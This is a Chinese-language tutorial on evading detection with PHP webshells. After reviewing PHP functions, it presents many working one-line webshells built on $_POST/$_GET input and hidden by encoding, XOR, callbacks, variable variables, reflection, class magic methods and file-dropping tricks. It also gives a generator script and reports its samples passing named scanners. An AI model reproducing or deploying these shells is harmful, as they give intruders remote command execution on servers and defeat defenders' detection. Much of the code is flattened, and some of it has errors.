当前位置: 首页 > news >正文

傻瓜式PHP-Webshell免杀学习手册,零基础小白也能看懂

项目描述

一、PHP相关资料

  • PHP官方手册: https://www.php.net/manual/zh/

  • PHP函数参考: https://www.php.net/manual/zh/funcref.php

  • 菜鸟教程: https://www.runoob.com/php/php-tutorial.html

  • w3school: https://www.w3school.com.cn/php/index.asp

  • 渊龙Sec安全团队导航: https://dh.aabyss.cn

二、PHP函数速查

0# PHP基础

0.0 PHP基础格式

 
<?php    //执行的相关PHP代码?>
 

这是一个PHP文件的基本形式

0.1 .=和+=赋值$a = 'a'; //赋值$b = 'b'; //赋值$c = 'c'; //赋值$c .= $a;$c .= $b;
echo $c; //cab
  • .= 通俗的说,就是累积

  • += 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量

0.2 数组

array() 函数用于创建数组

​​​​​​​
$shuzu = array("AabyssZG","AabyssTeam");echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . ".";//My Name is AabyssZG, My Team is AabyssTeam.
 

数组可嵌套:

​​​​​​​
$r = 'b[]=AabyssZG&b[]=system';$rce = array();      //用array函数新建数组parse_str($r, $rce); //这个函数下文有讲print_r($rce);$rce 数组输出为:Array (    [b] => Array        (            [0] => AabyssZG            [1] => system        ))

这时候可以这样利用

​​​​​​​
$rce['b'][1](参数);    //提取rce数组中的b数组内容,相当于system(参数)echo $rce['b'][0];    //AabyssZG
 

使用 [] 定义数组

​​​​​​​
$z = ['A','a','b', 'y', 's', 's'];$z[0] = 'A';$z[1] = 'a';$z[2] = 'b';$z[3] = 'y';$z[4] = 's';$z[5] = 's';

这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推

compact() 函数用于创建数组创建一个包含变量名和它们的值的数组

​​​​​​​
$firstname = "Aabyss";$lastname = "ZG";$age = "21";
$result = compact("firstname", "lastname", "age");print_r($result);数组输出为:Array ( [firstname] => Aabyss [lastname] => ZG [age] => 21 )
 

0.3 连接符

. 最简单的连接符​​​​​​​

$str1="hello";$str2="world";echo $str1.$str2;    //helloworld
 

0.4 运算符

& 运算符

加减乘除应该不用我说了吧

($var & 1)  //如果$var是一个奇数,则返回true;如果是偶数,则返回false

逻辑运算符

特别是 xor 异或运算符,在一些场合需要用到

图片

0.5 常量

自定义常量

​​​​​​​

define('-_-','smile');    //特殊符号开头,定义特殊常量define('wo',3.14);const wo = 3;

常量的命名规则

  1. 常量不需要使用 $ 符号,一旦使用系统就会认为是变量;

  2. 常量的名字组成由字母、数字和下划线组成,不能以数字开头;

  3. 常量的名字通常是以大写字母为主,以区别于变量;

  4. 常量命名的规则比变量要松散,可以使用一些特殊字符,该方式只能使用 define 定义;

__FILE__ 常量(魔术常量)

__FILE__ //返回文件的完整路径和文件名dirname(__FILE___) //函数返回的是代码所在脚本的路径dirname(__FILE__) //返回文件所在当前目录到系统根目录的一个目录结构(不会返回当前的文件名称)

其他魔术常量

__DIR__        //当前被执行的脚步所在电脑的绝对路径
__LINE__       //当前所示的行数
__NAMESPACE__  //当前所属的命名空间
__CLASS__      //当前所属的类
__METHOD__     //当前所属的方法

0.6 PHP特性

  • PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写

  • 在某些环境中,<?php ?> 没有闭合会导致无法正常运作

0.7 PHP标记几种写法

其中第一和第二种为常用的写法

第一种:<?php ?>
第二种:<?php
第三种:<? ?>
第四种:<% %>
第五种:<script language="php"></script>

第三种和第四种为短标识,当使用他们需要开启 php.ini 文件中的 short_open_tag ,不然会报错

1# 回调类型函数

1.0 Tips

在PHP的WebSehll免杀测试过程中,使用回调函数可以发现查杀引擎对函数和函数的参数是否有对应的敏感性

​​​​​​​

array_map('system', array('whoami'));        //被查杀array_map($_GET['a'], array('whoami'));      //被查杀array_map('var_dump', array('whoami'));      //未被查杀array_map('system', array($_GET['a']));      //被查杀
 

这里在列举一些回调函数,感兴趣可以自行查找:

​​​​​​​

array_filter() array_walk()  array_map()array_reduce()array_walk_recursive()call_user_func_array()call_user_func()filter_var() filter_var_array() registregister_shutdown_function()register_tick_function()forward_static_call_array()uasort() uksort() 

1.1 array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组

Demo:将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新的值的数组:

 

​​​​​​​

function myfunction($v){return($v*$v);} $a=array(1,2,3,4,5);    //array(1,4,9,16,25)print_r(array_map("myfunction",$a));
 

1.2 register_shutdown_function()

register_shutdown_function() 函数是来注册一个会在PHP中止时执行的函数

PHP中止的情况有三种:

  • 执行完成

  • exit/die导致的中止

  • 发生致命错误中止

Demo:后面的after并没有输出,即 exit 或者是 die 方法导致提前中止

​​​​​​​
function test() {  echo '这个是中止方法test的输出'; }   register_shutdown_function('test');   echo 'before' . PHP_EOL; exit(); echo 'after' . PHP_EOL;输出:before 
这个是中止方法test的输出

1.3 array_walk()

array_walk() 函数对数组中的每个元素应用用户自定义函数

Demo:这个很简单,直接看就明白了​​​​​​​

function myfunction($value,$key,$p){echo "The key $key $p $value<br>";}$a=array("a"=>"red","b"=>"green","c"=>"blue");array_walk($a,"myfunction","has the value");输出:The key a has the value redThe key b has the value greenThe key c has the value blue

1.4 array_filter()

array_filter() 函数用回调函数过滤数组中的元素

该函数把输入数组中的每个键值传给回调函数:如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组(数组键名保持不变)

​​​​​​​

Demo:function test_odd($var){    return($var & 1);} $a1=array("a","b",2,3,4);print_r(array_filter($a1,"test_odd"));输出:Array ( [3] => 3 )

2# 字符串处理类函数

2.0 Tips

可以自己定义函数,组成字符串的拼接方式,比如:​​​​​​​

function confusion($a){    $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;    }    return $tmp.$s[$a];}echo confusion(976534);         //sysTem(高危函数)
 

这时候,给 $a 传参为 976534 即可拼接得 system

同样,还有很多字符串处理类的函数,可以参考如下:

​​​​​​​

trim()           //从字符串的两端删除空白字符和其他预定义字符ucfirst()        //把字符串中的首字符转换为大写ucwords()        //把字符串中每个单词的首字符转换为大写strtoupper()     //把字符串转换为大写strtolower()     //把字符串转换为小写strtr()          //转换字符串中特定的字符substr_replace() //把字符串的一部分替换为另一个字符串substr()         //返回字符串的一部分strtok()         //把字符串分割为更小的字符串str_rot13()      //对字符串执行 ROT13 编码
 

2.1 substr()

substr() 函数返回字符串的一部分

Demo:相当于截取字段固定长度和开头的内容

 

​​​​​​​

echo substr("D://system//451232.php", -10, 6)."<br>";   //451232echo substr("AabyssTeam", 0, 6)."<br>";                 //Aabyss
 

2.2 intval()

intval() 获取变量的整数值

int intval(var,base)   //var指要转换成 integer 的数量值,base指转化所使用的进制 

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 0x (或 0X) 的前缀,使用 16 进制 (hex);

  • 否则,如果字符串以 0 开始,使用 8 进制(octal);

  • 否则,将使用 10 进制 (decimal)

成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array  返回 1

Demo:获取对应的整数值

​​​​​​​
echo intval(042);      // 34echo intval(0x1A);     // 26echo intval(42);       // 42echo intval(4.2);      // 4
 

2.3 parse_str()

parse_str() 函数把查询字符串解析到变量中

Demo:这个也很简单,看看例子就明白了

​​​​​​​

parse_str("name=Peter&age=43");echo $name."<br>";      //Peterecho $age;              //43
parse_str("name=Peter&age=43",$myArray);print_r($myArray);       //Array ( [name] => Peter [age] => 43 )
 

3# 命令执行类函数

3.0 Tips

命令执行类函数在”某些情况“下是非常危险的,所以往往遭到杀毒软件和WAF的重点关注,所以在做免杀的时候,为了绕过污点检测往往都要将命令执行类函数进行拼接、重组、加密、混淆来规避查杀。

3.1 eval()

eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码

Demo:将其中的内容按照PHP代码执行

​​​​​​​
echo 'echo "我想学php"';     //echo "我想学php"eval('echo "我想学php";');   //"我想学php"Demo:一句话木马将参数传到 eval()  函数内执行@eval($_POST['AabyssTeam']);

3.2 system()

system() 函数的主要功能是在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)

Demo:执行Whoami并回显

​​​​​​​

system('whoami');
 

3.3 exec()

exec() 函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中

Demo:将 exec() 函数执行的结果导入result数组

​​​​​​​

exec( 'ls' , $result );print_r($result);        //Array ( [0] => index.php )
 

3.4 shell_exec()

shell_exec() 函数可以执行系统命令,但不会直接输出执行的结果,而是返回一个字符串类型的变量来存储系统命令的执行结果

Demo:执行 ls 命令

 
echo shell_exec('ls');    //index.php
 

3.5 passthru()

passthru() 函数可以执行系统命令并将执行结果输出到页面中

与 system() 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可

Demo:执行 ls 命令

passthru('ls');    //index.php
 

3.6 popen()

popen() 函数可以执行系统命令,但不会输出执行的结果,而是返回一个资源类型的变量用来存储系统命令的执行结果

故需要配合 fread() 函数来读取命令的执行结果

Demo:执行 ls 命令​​​​​​​

$result = popen('ls', 'r');    //参数1:执行ls命令 参数2:字符串类型echo fread($result, 100);      //参数1:上面生成的资源 参数2:读取100个字节
 

3.7 反引号``

反引号可以执行系统命令但不会输出结果,而是返回一个字符串类型的变量用来存储系统命令的执行结果

可单独使用,也可配合其他命令执行函数使用来绕过参数中的过滤条件

Demo:执行 ls 命令

 
echo `ls`;    //index.php
 

4# 文件写入类函数

4.0 Tips

在Webshell的免杀过程中,一部分人另辟蹊径:通过执行一个执行内容为”写入恶意PHP“的样本来绕过查杀,执行成功后会在指定目录写入一个恶意PHP文件,最后通过连接那个恶意PHP文件获得WebShell

4.1 fwrite()

fwrite() 函数是用于写入文件,如果成功执行,则返回写入的字节数;失败,则返回 FALSE

Demo:将 Hello World. Testing! 写入 test.txt

​​​​​​​
$file = fopen("test.txt","w");echo fwrite($file,"Hello World. Testing!");    //21fclose($file);
 

4.2 file_put_contents()

file_put_contents() 函数把一个字符串写入文件中

如果文件不存在,将创建一个文件

Demo:使用 FILE_APPEND 标记,可以在文件末尾追加内容

​​​​​​​
$file = 'sites.txt';$site = "\nGoogle";file_put_contents($file, $site, FILE_APPEND);

同时该函数可以配合解密函数写入文件,比如:

​​​​​​​
$datatest = "[文件的base64编码]";file_put_contents('./要写入的文件名', base64_decode($datatest));
 

5# 异常处理类函数

5.0 Tips

在PHP的异常处理中,异常处理的相关函数引起了安全行业人员的注意,可以构造相关的异常处理,来绕过WAF的识别和检测。

5.1 Exception 类

Exception 类是php所有异常的基类,这个类包含如下方法:

​​​​​​​

__construct  //异常构造函数getMessage   //获取异常消息内容getPrevious  //返回异常链中的前一个异常,如果不存在则返回null值getCode      //获取异常代码getFile      //获取发生异常的程序文件名称getLine      //获取发生异常的代码在文件中的行号getTrace     //获取异常追踪信息,其返回值是一个数组getTraceAsString //获取字符串类型的异常追踪信息
 

写个简单的例子方便理解:

​​​​​​​
// 创建一个有异常处理的函数function checkNum($number){    if($number>1)    {        throw new Exception("变量值必须小于等于 1");    }        return true;}// 在 try 块 触发异常try{    checkNum(2);    // 如果抛出异常,以下文本不会输出    echo '如果输出该内容,说明 $number 变量';}// 捕获异常catch(Exception $e){    echo 'Message: ' .$e->getMessage() . "<br>" ;     echo "错误信息:" . $e->getMessage() . "<br>";    echo "错误码:" . $e->getCode() . "<br>";    echo "错误文件:" . $e->getFile() . "<br>";    echo "错误行数:" . $e->getLine() . "<br>";    echo "前一个异常:" . $e->getPrevious() . "<br>";    echo "异常追踪信息:";    echo "" . print_r($e->getTrace(), true) . "<br>";    echo "报错内容输出完毕";}

运行后输出结果:

 

​​​​​​​

Message: 变量值必须小于等于 1错误信息:变量值必须小于等于 1错误码:0错误文件:D:\phpstudy_pro\WWW\AabyssZG\error.php错误行数:7前一个异常:异常追踪信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) )报错内容输出完毕...

6# 数据库连接函数

6.0 Tips

可以尝试通过读取数据库内的内容,来获取敏感关键词或者拿到执行命令的关键语句,就可以拼接到php中执行恶意的代码了。

6.1 Sqlite数据库

配合我上面写的 file_put_contents() 文件写入函数,先写入本地Sqlite文件然后读取敏感内容

​​​​​​​
$path = "AabyssZG.db";$db = new PDO("sqlite:" . $path);//连接数据库后查询敏感关键词$sql_stmt = $db->prepare('select * from test where name="system"');$sql_stmt->execute();//提权敏感关键词并进行拼接$f = substr($sql_stmt->queryString, -7, 6);$f($_GET['aabyss']);       //system($_GET['aabyss']);
 

6.2 MySQL数据库

这里使用 MySQLi() 这个函数,其实PHP有很多MySQL连接函数,可自行尝试

然后通过这个函数,连接公网数据库(只要目标能出网),即可连接并获得敏感字符拼接到php中

​​​​​​​
function coon($sql) {    $mysqli = new MySQLi("localhost", "test", "test123", "test");    //默认的 MySQL的类,其属性与方法见手册    if ($mysqli - > connect_error) {        //connect_error为属性,报错        die("数据库连接失败:".$mysqli - > connect_errno. "--".$mysqli - > connect_error);        // connect_errno:错误编号    }    $mysqli - > select_db("test"); //选择数据库    // 返回值 $res 为资源类型(获取到结果的资源类型)    $res = $mysqli - > query($sql) or die($mysqli - > error);    //释放结果集,关闭连接    $mysqli - > close();}$sql = "select * from test where name LIKE 'system'";$arr = coon($sql);$res = array("data" => $arr);echo json_encode($res);

7# PHP过滤器

图片

三、Webshell免杀

学习后的免杀效果

学习本手册后,可以达到如下效果,当然这只是拿其中的一个简单的例子进行测试的,感兴趣的可以深入学习并自由组合

牧云Webshell检测引擎:

图片

微步在线云沙箱:

图片

图片

河马WebShell在线查杀:

图片

百度WEBDIR+在线查杀:

图片

大名鼎鼎的VirusTotal:

图片

0# 免杀思路概述

首先,要知己知彼,才能针对性做出策略来使得WebShell成功免杀

0.1 WebShell查杀思路

对于WebShell的查杀思路,大致有以下几种:

  • 分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。

  • 语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。

  • 机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。

  • 动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。

0.2 WebShell整体免杀思路

而对于最常见也是最简单的WebShell,即一句话木马,都是以下形式存在的:

图片

而我们要做的是:通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀

0.3 WebShell免杀注意点

0.3.1 eval() 高危函数

eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用

可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行

人话:eval() 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入

0.3.2   assert() 高危函数

在PHP7 中, assert () 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可

所以在WebShell免杀这块,我还是更喜欢用 system() 高危函数,以下很多案例都是使用 system() 来最终执行的

0.4 WebShell免杀测试

  • 渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/

  • VirusTotal: https://www.virustotal.com/gui/home/upload

  • 河马WebShell查杀: https://n.shellpub.com/

  • 微步在线云沙箱: https://s.threatbook.com/

  • 百度WEBDIR+: https://scanner.baidu.com/

  • 长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index

  • 阿里伏魔引擎: https://xz.aliyun.com/zues

  • D盾: http://www.d99net.net/

  • 网站安全狗: http://free.safedog.cn/website_safedog.html

1# 编码绕过

这算是早期的免杀手法,可以通过编码来绕过WAF的检测,如下:

1.1 Base64编码​​​​​​​

<?php$f = base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数$f($_POST[aabyss]);                      //assert($_POST[aabyss]);?>
 

1.2 ASCII编码

 

​​​​​​​

<?php//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);$f($_POST['aabyss']);                //assert($_POST['aabyss']);?>
 

1.3 ROT13编码

​​​​​​​
$f = str_rot13('flfgrz');  //解密后为system高危函数$f($_POST['aabyss']);      //system($_POST['aabyss']);
 

当然还有很多其他的编码和加密方式,但常见的编码方式都被放入敏感名单了,会根据加密的形式自动进行解密

可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass

1.4 Gzip压缩加密

我先举一个 phpinfo() 加密后的示例:

/*Protected by AabyssZG*/
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); 

加密手法可以看我写的博客: https://blog.zgsec.cn/index.php/archives/147/

2# 字符串混淆处理绕过

2.1 自定义函数混淆字符串

通过对上面所说两部分敏感内容的拼接、混淆以及变换,来绕过WAF的检测逻辑,如下:

 

​​​​​​​

function confusion($a){    $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;    }    return $tmp.$s[$a];}$f = confusion(976534);         //sysTem(高危函数)$f($_POST['aabyss']);           //sysTem($_POST['aabyss']);
 

2.2 自定义函数+文件名混淆

同样,可以配合文件名玩出一些花活,我们建一个PHP名字为 976534.php

​​​​​​​
function confusion($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;    }    return $tmp.$s[$a];}
$f = confusion(intval(substr(__FILE__, -10, 6)));   //sysTem(高危函数)//__FILE__为976534.php//substr(__FILE__, -10, 6)即从文件名中提取出976534//confusion(intval(976534))即输出了sysTem(高危函数),拼接即可$f($_POST['aabyss']);        //sysTem($_POST['aabyss']);
 

首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果

2.3 特殊字符串

主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)

​​​​​​​
$f = 'hello';$$z = $_POST['aabyss'];eval(``.$hello);
 

3# 生成新文件绕过

这是我之前写的一个免杀,其实原理也很简单,该PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的:

​​​​​​​
$hahaha = strtr("abatme","me","em");      //$hahaha = abatem$wahaha = strtr($hahaha,"ab","sy");       //$wahaha = system(高危函数)$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'$wahaha($gogogo);  //将一句话木马内容写入同目录下的out.php中

现在看这个是不是很简单,但是这个可是VirusTotal全绿、微步沙箱和百度沙箱都过的哦~

没想到吧~ 其实在这个简单的基础上还可以拓展出来进行高阶免杀操作

4# 回调函数绕过

通过回调函数,来执行对应的命令,这里举两个例子:

4.1 call_user_func_array()

​​​​​​​
//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);call_user_func_array($f, array($_POST['aabyss']));
4.2 array_map()function fun() {    //ASCII编码解密后为assert高危函数  $f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);  return ''.$f;}$user = fun();    //拿到assert高危函数$pass =array($_POST['aabyss']);array_map($user,$user = $pass );

回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用

5# 可变变量绕过

5.1 简单可变变量

什么叫可变变量呢?看一下具体例子就明白了:

​​​​​​​
$f = 'hello';    //变量名为f,变量值为Hello$$f = 'AabyssZG';  //变量名为Hello(也就是$f的值),值为AabyssZGecho $hello;     //输出AabyssZG
 

那要怎么利用这个特性呢?如下:

​​​​​​​
$f ='hello';$$f = $_POST['aabyss'];eval($hello);   //eval($_POST['aabyss']); 
 

5.2 数组+变量引用混淆

上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组

那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可

​​​​​​​
$z = "system";                        //配合其他姿势,将system高危函数传给z$zhixin  = &$z;$event = 'hahaha';
$result = compact("event", "zhixin"); //通过compact创建数组$z = 'wahaha';                        //我将变量z进行修改为'wahaha'
$f = $result['zhixin'];$f($_POST['aabyss']);                  //system($_POST['aabyss']); 
 

根据5.1学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的

于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是  wahaha ,从而达到WebShell免杀

6# 数组绕过

先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接

6.1 一维数组

​​​​​​​
$f = substr_replace("systxx","em",4);         //system(高危函数)$z = array($array = array('a'=>$f($_GET['aabyss'])));var_dump($z);

数组内容如下:

​​​​​​​
Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
6.2 二维数组$f = substr_replace("systxx","em",4);          //system(高危函数)$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));var_dump($z);

7# 类绕过

通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行

7.1 单类​​​​​​​

class Test{    public $_1='';    function __destruct(){        system("$this->a");    }}$_2 = new Test;$_2->$_1 = $_POST['aabyss'];

7.2 多类

​​​​​​​
class Test1{    public $b ='';    function post(){        return $_POST['aabyss'];    }}class Test2 extends Test1{    public $code = null;    function __construct(){        $code = parent::post();        system($code);    }}$fff = new Test2;$zzz = new Test1;

主要还是要用一些魔术方法来进行ByPass

8# 嵌套运算绕过

主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可

8.1 异或

^ 为异或运算符,在PHP中两个变量进行异或时,会将字符串转换成二进制再进行异或运算,运算完再将结果从二进制转换成了字符串​​​​​​​

$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0');   //system高危函数$f = ('.$.48]' ^ ']]]@]0');   //等同于这样$f($_POST['aabyss']);

这里的话,可以参考国光大佬的Python脚本生成异或结果,然后来替换即可:python3 xxx.py > results.txt

​​​​​​​
import stringfrom urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))results = []for i in keys:    for j in keys:        asscii_number = i^j        if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):            if i < 32 and j < 32:                temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} =  {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))                results.append(temp)            elif i < 32 and j >=32:                temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))                results.append(temp)            elif i >= 32 and j < 32:                temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))                results.append(temp)            else:                temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))                results.append(temp)
results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:    for result in results:        if low_case in result:            print(result[0])
for upper_case in string.ascii_uppercase:    for result in results:        if upper_case in result:            print(result[0])

8.2 嵌套运算

其实嵌套运算在WebShell免杀中算是常客了,让我们来看一下一个 phpinfo() 的嵌套运算​​​​​​​

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT2UZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));

9# 传参绕过

将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别

9.1 Base64传参​​​​​​​

$decrpt = $_REQUEST['a'];$decrps = $_REQUEST['b'];$arrs = explode("|", $decrpt)[1];$arrs = explode("|", base64_decode($arrs));$arrt = explode("|", $decrps)[1];$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);传参内容:a=c3lzdGVt    //system的base64加密b=d2hvYW1p    //whoami的base64加密
 

也可以尝试使用其他编码或者加密方式进行传参

9.2 函数构造传参

可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数

​​​​​​​

register_tick_function ( callable $function [, mixed $... ] ) : bool例子如下:$f = $_REQUEST['f'];declare(ticks=1);register_tick_function ($f, $_REQUEST['aabyss']);
 

10# 自定义函数绕过

通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行

10.1 简单自定义函数

这个要与其他的姿势进行结合,目前没办法通过简单自定义函数进行免杀

​​​​​​​
function out($b){    return $b;}function zhixin($a){    return system($a);}function post(){    return $_POST['aabyss'];}
function run(){    return out(zhixin)(out(post()));}
run();

10.2 读取已定义函数

获取某个类的全部已定义的常量,不管可见性如何定义

public ReflectionClass::getConstants(void) : array

例子如下:​​​​​​​

class Test{    const a = 'Sy';    const b = 'st';    const c = 'em';        public function __construct(){    }}
$para1;$para2;$reflector = new ReflectionClass('Test');
for ($i=97; $i <= 99; $i++) {    $para1 = $reflector->getConstant(chr($i));    $para2.=$para1;}
foreach (array('_POST','_GET') as $_request) {    foreach ($$_request as $_key=>$_value) {        $$_key=  $_value;    }}
$para2($_value);

11# 读取字符串绕过

重点还是放在高危函数上,通过读取各种东西来获得对应字符串

11.1 读取注释

这里用到读取注释的函数

ReflectionClass::getDocComment

例子如下:

​​​​​​​

/**       * system($_GET[aabyss]);    */  class User { }  $user = new ReflectionClass('User');$comment = $user->getDocComment();$f = substr($comment , 14 , 22);eval($f);

11.2 读取数据库

可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库​​​​​​​

$datatest = "[文件的base64编码]";file_put_contents('./要写入的文件名', base64_decode($datatest));

然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果​​​​​​​

$path = "数据库文件名"
$db = new PDO("sqlite:" . $path);
$sql_stmt = $db->prepare('select * from test where name="system"');$sql_stmt->execute();
$f = substr($sql_stmt->queryString, -7, 6);$f($_GET['b']);
 

11.3 读取目录

FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息

public FilesystemIterator::next ( void ) : void

可以尝试使用 file_put_contents 写入一个名为 system.aabyss 的空文件,然后遍历目录拿到字符串 system ,成功ByPass​​​​​​​

$fi = new FilesystemIterator(dirname(__FILE__));$f = '';foreach($fi as $i){    if (substr($i->__toString(), -6,6)=='aabyss')  //判断后缀名为.aabyss的文件(其他特殊后缀也行)        $f = substr($i->__toString(), -13,6);      //从system.aabyss提取出system高危函数}$f($_GET['b']);

为什么要写入为 system.aabyss 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了

12# 多姿势配合免杀

将以上提到的相关姿势,进行多种配合嵌套,实现免杀效果

12.1 样例一

刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路

这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义

 
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

这时候,就可以执行GET传参:?_=system&__=whoami 来执行whoami命令

由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看​​​​​​​

<?=~$_='$<>/'^'{{{{';//即 '$<>/' ^ '{{{{'//即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或
 

所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 _GET

所以整个PHP语句解密后,再将 _ 替换为 a,将 __ 替换为 b,则原PHP转化为:

 
$_GET['a']($_GET['b'])

当我们给 a 传 system,给 b 传 whoami,原式就会变成这样

system('whoami');

